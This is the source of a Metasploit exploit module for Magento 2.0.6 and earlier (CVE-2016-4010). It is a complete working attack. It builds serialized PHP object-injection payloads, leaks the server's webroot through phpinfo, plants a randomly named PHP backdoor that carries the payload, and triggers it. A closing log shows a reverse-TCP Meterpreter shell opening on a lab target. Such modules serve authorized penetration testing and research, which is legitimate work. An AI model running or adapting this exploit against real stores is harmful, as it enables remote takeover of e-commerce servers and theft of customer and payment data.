##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution',
'Description' => %q{
This module exploits a PHP object injection vulnerability in Magento 2.0.6
or prior.
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' =>
[
'Netanel Rubin', # original discovery
'agix', # original exploit
'mr_me <mr_me[at]offensive-security.com>', # metasploit module
],
'Payload' =>
{
'BadChars' => "\x22",
},
'References' =>
[
['CVE', '2016-4010'],
['EDB', '39838'],
['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],
['URL', 'https://magento.com/security/patches/magento-206-security-update']
],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true } ],
],
'DisclosureDate' => 'May 17 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def get_phpinfo
# uses the Magento_Framework_DB_Transaction class
serialize = 'O:13:\"Credis_Client\":22:{'
serialize << 's:8:\"\u0000*\u0000redis\";'
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
serialize << 's:9:\"\u0000*\u0000_order\";N;'
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
serialize << 's:12:\"\u0000*\u0000_children\";N;'
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
serialize << 's:31:\"sales_order_payment_transaction\";'
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
serialize << 's:25:\"order_payment_transaction\";'
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
serialize << 's:2:\"id\";'
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_resource\";'
serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'
serialize << 's:11:\"\u0000*\u0000_objects\";'
serialize << 'a:0:{}'
serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'
serialize << 'a:0:{}'
serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'
serialize << 'a:1:{'
serialize << 'i:0;'
serialize << 's:7:\"phpinfo\";}}' # the rub
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
serialize << 'b:0;'
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
serialize << 'b:1;'
serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
serialize << 's:13:\"\u0000*\u0000storedData\";'
serialize << 'a:0:{}'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:0:{}}'
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
serialize << 's:7:\"\u0000*\u0000host\";N;'
serialize << 's:7:\"\u0000*\u0000port\";N;'
serialize << 's:10:\"\u0000*\u0000timeout\";N;'
serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000connected\";'
serialize << 'b:1;'
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
serialize << 'i:0;'
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
serialize << 'i:0;'
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
serialize << 's:11:\"\u0000*\u0000commands\";N;'
serialize << 's:10:\"\u0000*\u0000isMulti\";'
serialize << 'b:0;'
serialize << 's:13:\"\u0000*\u0000isWatching\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
serialize << 's:13:\"\u0000*\u0000selectedDb\";'
serialize << 'i:0;'
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
serialize << 'a:3:{'
serialize << 's:6:\"delete\";'
serialize << 's:3:\"del\";'
serialize << 's:7:\"getkeys\";'
serialize << 's:4:\"keys\";'
serialize << 's:7:\"sremove\";'
serialize << 's:4:\"srem\";}'
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
serialize << 's:11:\"\u0000*\u0000requests\";'
serialize << 'i:0;}'
serialize
end
def get_phpshell
s = "#{@webroot}/#{@backdoor}"
p = "<?php #{payload.encoded} ?>"
# uses the Magento_Framework_Simplexml_Config_Cache_File class
serialize = 'O:13:\"Credis_Client\":22:{'
serialize << 's:8:\"\u0000*\u0000redis\";'
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
serialize << 's:9:\"\u0000*\u0000_order\";N;'
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
serialize << 's:12:\"\u0000*\u0000_children\";N;'
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'
serialize << 'b:1;'
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
serialize << 's:31:\"sales_order_payment_transaction\";'
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
serialize << 's:25:\"order_payment_transaction\";'
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
serialize << 's:2:\"id\";'
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_resource\";'
serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:3:{'
serialize << 's:18:\"is_allowed_to_save\";'
serialize << 'b:1;'
serialize << 's:14:\"stat_file_name\";'
serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell
serialize << 's:10:\"components\";'
serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
serialize << 'b:0;'
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
serialize << 's:13:\"\u0000*\u0000storedData\";'
serialize << 'a:0:{}'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:0:{}}'
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
serialize << 's:7:\"\u0000*\u0000host\";N;'
serialize << 's:7:\"\u0000*\u0000port\";N;'
serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000connected\";'
serialize << 'b:1;'
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
serialize << 'i:0;'
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
serialize << 'i:0;'
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
serialize << 's:11:\"\u0000*\u0000commands\";N;'
serialize << 's:10:\"\u0000*\u0000isMulti\";'
serialize << 'b:0;'
serialize << 's:13:\"\u0000*\u0000isWatching\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
serialize << 'a:3:{'
serialize << 's:6:\"delete\";'
serialize << 's:3:\"del\";'
serialize << 's:7:\"getkeys\";'
serialize << 's:4:\"keys\";'
serialize << 's:7:\"sremove\";'
serialize << 's:4:\"srem\";}'
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
serialize << 's:11:\"\u0000*\u0000requests\";'
serialize << 'i:0;}'
serialize
end
def do_check
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
data << get_phpinfo
data << "\"}},\"email\":\"#{@email}\"}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
end
def define_globals
@phpsessid = Rex::Text.rand_text_alphanumeric(26)
@form_key = Rex::Text.rand_text_alphanumeric(26)
@cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"
@email = "#{@phpsessid}@#{@form_key}.com"
end
def check
define_globals
# we actually exploit the bug, but just for a callback
begin
if create_fake_cart
if generate_cart_id
# twice, because we need to setup the phpinfo callback using
# the Magento_Framework_DB_Transaction() pop chain
res = ""
(0..1).step(1) do |n|
res = do_check
end
if (res && res.body.include?('phpinfo()'))
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
rescue ::Rex::ConnectionError => e
vprint_error(e.message)
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Safe
end
def get_webroot
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
data << get_phpinfo
data << "\"}},\"email\":\"#{@email}\"}"
# we steal path via phpinfo
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
if res && res.code == 200
@webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/
return true
end
false
end
def create_fake_cart
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'cookie' => @cookies,
'vars_get' => { 'form_key' => @form_key }
})
return true if (res && res.body.include?('[]'))
false
end
def generate_cart_id
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/checkout/cart/'),
'cookie' => @cookies,
})
if res && res.code == 200
@guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/
return true
end
false
end
def backdoor
data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""
data << get_phpshell
data << "\"}},\"email\":\"#{@email}\"}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
return true if (res && res.body.include?('true'))
false
end
def exec_code
send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"),
}, timeout = 0.5)
end
def exploit
define_globals
@backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"
register_files_for_cleanup("#{@backdoor}")
if create_fake_cart && generate_cart_id
print_good("generated a guest cart id")
if get_webroot && backdoor
print_good("backdoor done!")
exec_code
end
end
end
end
=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc
[*] Processing scripts/sam.rc for ERB directives.
resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize
resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (scripts/sam.rc)> set RHOST 192.168.100.13
RHOST => 192.168.100.13
resource (scripts/sam.rc)> set LHOST 192.168.100.2
LHOST => 192.168.100.2
resource (scripts/sam.rc)> set LPORT 6666
LPORT => 6666
resource (scripts/sam.rc)> check
[*] 192.168.100.13:80 The target appears to be vulnerable.
resource (scripts/sam.rc)> exploit
[*] Started reverse TCP handler on 192.168.100.2:6666
[+] generated a guest cart id
[+] backdoor done!
[*] Sending stage (33721 bytes) to 192.168.100.13
[*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500
[+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php
meterpreter >
=end
